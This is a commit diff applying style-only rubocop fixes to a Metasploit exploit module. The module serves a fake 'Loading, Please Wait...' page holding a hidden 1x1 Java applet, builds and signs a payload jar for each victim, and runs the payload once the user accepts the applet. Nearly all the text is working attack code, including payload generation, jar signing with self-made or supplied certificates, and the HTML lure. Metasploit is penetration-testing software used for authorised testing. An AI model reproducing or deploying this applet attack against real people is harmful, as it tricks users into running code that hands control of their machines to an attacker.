Mass rubocop changes
This commit is contained in:
@@ -52,28 +52,28 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'Windows x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
[
|
||||
'Linux x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
[
|
||||
'Mac OS X PPC (Native Payload)',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_PPC,
|
||||
'Arch' => ARCH_PPC
|
||||
}
|
||||
],
|
||||
[
|
||||
'Mac OS X x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86,
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
]
|
||||
],
|
||||
@@ -91,24 +91,24 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
OptString.new('CERTCN', [
|
||||
true,
|
||||
"The CN= value for the certificate. Cannot contain ',' or '/'",
|
||||
"SiteLoader"
|
||||
'SiteLoader'
|
||||
]),
|
||||
OptString.new('APPLETNAME', [
|
||||
true,
|
||||
"The main applet's class name.",
|
||||
"SiteLoader"
|
||||
'SiteLoader'
|
||||
]),
|
||||
OptPath.new('SigningCert', [
|
||||
false,
|
||||
"Path to a signing certificate in PEM or PKCS12 (.pfx) format"
|
||||
'Path to a signing certificate in PEM or PKCS12 (.pfx) format'
|
||||
]),
|
||||
OptPath.new('SigningKey', [
|
||||
false,
|
||||
"Path to a signing key in PEM format"
|
||||
'Path to a signing key in PEM format'
|
||||
]),
|
||||
OptString.new('SigningKeyPass', [
|
||||
false,
|
||||
"Password for signing key (required if SigningCert is a .pfx)"
|
||||
'Password for signing key (required if SigningCert is a .pfx)'
|
||||
]),
|
||||
])
|
||||
end
|
||||
@@ -120,21 +120,21 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
if not request.uri.match(/\.jar$/i)
|
||||
if not request.uri.match(/\/$/)
|
||||
send_redirect(cli, get_resource() + '/', '')
|
||||
if !request.uri.match(/\.jar$/i)
|
||||
if !request.uri.match(%r{/$})
|
||||
send_redirect(cli, get_resource + '/', '')
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Handling request")
|
||||
print_status('Handling request')
|
||||
|
||||
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
|
||||
return
|
||||
end
|
||||
|
||||
p = regenerate_payload(cli)
|
||||
if not p
|
||||
print_error("Failed to generate the payload.")
|
||||
if !p
|
||||
print_error('Failed to generate the payload.')
|
||||
# Send them a 404 so the browser doesn't hang waiting for data
|
||||
# that will never come.
|
||||
send_not_found(cli)
|
||||
@@ -143,46 +143,46 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
# If we haven't returned yet, then this is a request for our applet
|
||||
# jar, build one for this victim.
|
||||
jar = p.encoded_jar(:random => true)
|
||||
jar = p.encoded_jar(random: true)
|
||||
|
||||
jar.add_file("#{datastore["APPLETNAME"]}.class", @applet_class)
|
||||
jar.add_file("#{datastore['APPLETNAME']}.class", @applet_class)
|
||||
|
||||
jar.build_manifest(:main_class => "metasploit.Payload", :app_name => "#{datastore["APPLETNAME"]}")
|
||||
jar.build_manifest(main_class: 'metasploit.Payload', app_name: "#{datastore['APPLETNAME']}")
|
||||
|
||||
jar.sign(@key, @cert, @ca_certs)
|
||||
# File.open("payload.jar", "wb") { |f| f.write(jar.to_s) }
|
||||
|
||||
print_status("Sending #{datastore['APPLETNAME']}.jar. Waiting for user to click 'accept'...")
|
||||
send_response(cli, jar.to_s, { 'Content-Type' => "application/octet-stream" })
|
||||
send_response(cli, jar.to_s, { 'Content-Type' => 'application/octet-stream' })
|
||||
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
def load_applet_class
|
||||
data_dir = File.join(Msf::Config.data_directory, "exploits", self.shortname)
|
||||
if datastore["APPLETNAME"]
|
||||
unless datastore["APPLETNAME"] =~ /^[a-zA-Z_$]+[a-zA-Z0-9_$]*$/
|
||||
fail_with(Failure::BadConfig, "APPLETNAME must conform to rules of Java identifiers (alphanum, _ and $, must not start with a number)")
|
||||
data_dir = File.join(Msf::Config.data_directory, 'exploits', shortname)
|
||||
if datastore['APPLETNAME']
|
||||
unless datastore['APPLETNAME'] =~ /^[a-zA-Z_$]+[a-zA-Z0-9_$]*$/
|
||||
fail_with(Failure::BadConfig, 'APPLETNAME must conform to rules of Java identifiers (alphanum, _ and $, must not start with a number)')
|
||||
end
|
||||
siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") { |fd| fd.read(fd.stat.size) }
|
||||
siteloader = File.open(File.join(data_dir, 'SiteLoader.class'), 'rb') { |fd| fd.read(fd.stat.size) }
|
||||
# Java strings are prefixed with a 2-byte, big endian length
|
||||
find_me = ["SiteLoader".length].pack("n") + "SiteLoader"
|
||||
find_me = ['SiteLoader'.length].pack('n') + 'SiteLoader'
|
||||
idx = siteloader.index(find_me)
|
||||
len = [datastore["APPLETNAME"].length].pack("n")
|
||||
len = [datastore['APPLETNAME'].length].pack('n')
|
||||
# Now replace it with the new class name
|
||||
siteloader[idx, "SiteLoader".length + 2] = len + datastore["APPLETNAME"]
|
||||
siteloader[idx, 'SiteLoader'.length + 2] = len + datastore['APPLETNAME']
|
||||
else
|
||||
# Don't need to replace anything, just read it in
|
||||
siteloader = File.open(File.join(data_dir, "SiteLoader.class"), "rb") { |fd| fd.read(fd.stat.size) }
|
||||
siteloader = File.open(File.join(data_dir, 'SiteLoader.class'), 'rb') { |fd| fd.read(fd.stat.size) }
|
||||
end
|
||||
@applet_class = siteloader
|
||||
end
|
||||
|
||||
def load_cert
|
||||
if datastore["SigningCert"]
|
||||
cert_str = File.open(datastore["SigningCert"], "rb") { |fd| fd.read(fd.stat.size) }
|
||||
if datastore['SigningCert']
|
||||
cert_str = File.open(datastore['SigningCert'], 'rb') { |fd| fd.read(fd.stat.size) }
|
||||
begin
|
||||
pfx = OpenSSL::PKCS12.new(cert_str, datastore["SigningKeyPass"])
|
||||
pfx = OpenSSL::PKCS12.new(cert_str, datastore['SigningKeyPass'])
|
||||
@cert = pfx.certificate
|
||||
@key = pfx.key
|
||||
@ca_certs = pfx.ca_certs
|
||||
@@ -196,23 +196,23 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
@ca_certs << OpenSSL::X509::Certificate.new(certs.shift)
|
||||
end
|
||||
|
||||
if datastore["SigningKey"] and File.file?(datastore["SigningKey"])
|
||||
key_str = File.open(datastore["SigningKey"], "rb") { |fd| fd.read(fd.stat.size) }
|
||||
if datastore['SigningKey'] and File.file?(datastore['SigningKey'])
|
||||
File.open(datastore['SigningKey'], 'rb') { |fd| fd.read(fd.stat.size) }
|
||||
else
|
||||
key_str = cert_str
|
||||
cert_str
|
||||
end
|
||||
|
||||
# First try it as RSA and fallback to DSA if that doesn't work
|
||||
begin
|
||||
@key = OpenSSL::PKey::RSA.new(cert_str, datastore["SigningKeyPass"])
|
||||
rescue OpenSSL::PKey::RSAError => e
|
||||
@key = OpenSSL::PKey::DSA.new(cert_str, datastore["SigningKeyPass"])
|
||||
@key = OpenSSL::PKey::RSA.new(cert_str, datastore['SigningKeyPass'])
|
||||
rescue OpenSSL::PKey::RSAError
|
||||
@key = OpenSSL::PKey::DSA.new(cert_str, datastore['SigningKeyPass'])
|
||||
end
|
||||
end
|
||||
else
|
||||
# Name.parse uses a simple regex that isn't smart enough to allow
|
||||
# slashes or commas in values, just remove them.
|
||||
certcn = datastore["CERTCN"].gsub(%r|[/,]|, "")
|
||||
certcn = datastore['CERTCN'].gsub(%r{[/,]}, '')
|
||||
x509_name = OpenSSL::X509::Name.parse(
|
||||
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=#{certcn}"
|
||||
)
|
||||
@@ -231,26 +231,26 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def generate_html
|
||||
html = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
|
||||
html << %Q|<body><center><p>Loading, Please Wait...</p></center>\n|
|
||||
html << %Q|<applet archive="#{get_resource.sub(%r|/$|, '')}/#{datastore["APPLETNAME"]}.jar"\n|
|
||||
html = %(<html><head><title>Loading, Please Wait...</title></head>\n)
|
||||
html << %(<body><center><p>Loading, Please Wait...</p></center>\n)
|
||||
html << %(<applet archive="#{get_resource.sub(%r{/$}, '')}/#{datastore['APPLETNAME']}.jar"\n)
|
||||
vprint_line(html)
|
||||
if @use_static
|
||||
html << %Q| code="SiteLoader" width="1" height="1">\n|
|
||||
html << %( code="SiteLoader" width="1" height="1">\n)
|
||||
else
|
||||
html << %Q| code="#{datastore["APPLETNAME"]}" width="1" height="1">\n|
|
||||
html << %( code="#{datastore['APPLETNAME']}" width="1" height="1">\n)
|
||||
end
|
||||
html << %Q|</applet>\n</body></html>|
|
||||
html << %(</applet>\n</body></html>)
|
||||
return html
|
||||
end
|
||||
|
||||
# Currently unused until we ship a java compiler of some sort
|
||||
def applet_code
|
||||
applet = <<~EOS
|
||||
<<~EOS
|
||||
import java.applet.*;
|
||||
import metasploit.*;
|
||||
|
||||
public class #{datastore["APPLETNAME"]} extends Applet {
|
||||
public class #{datastore['APPLETNAME']} extends Applet {
|
||||
public void init() {
|
||||
try {
|
||||
Payload.main(null);
|
||||
|
||||
Reference in New Issue
Block a user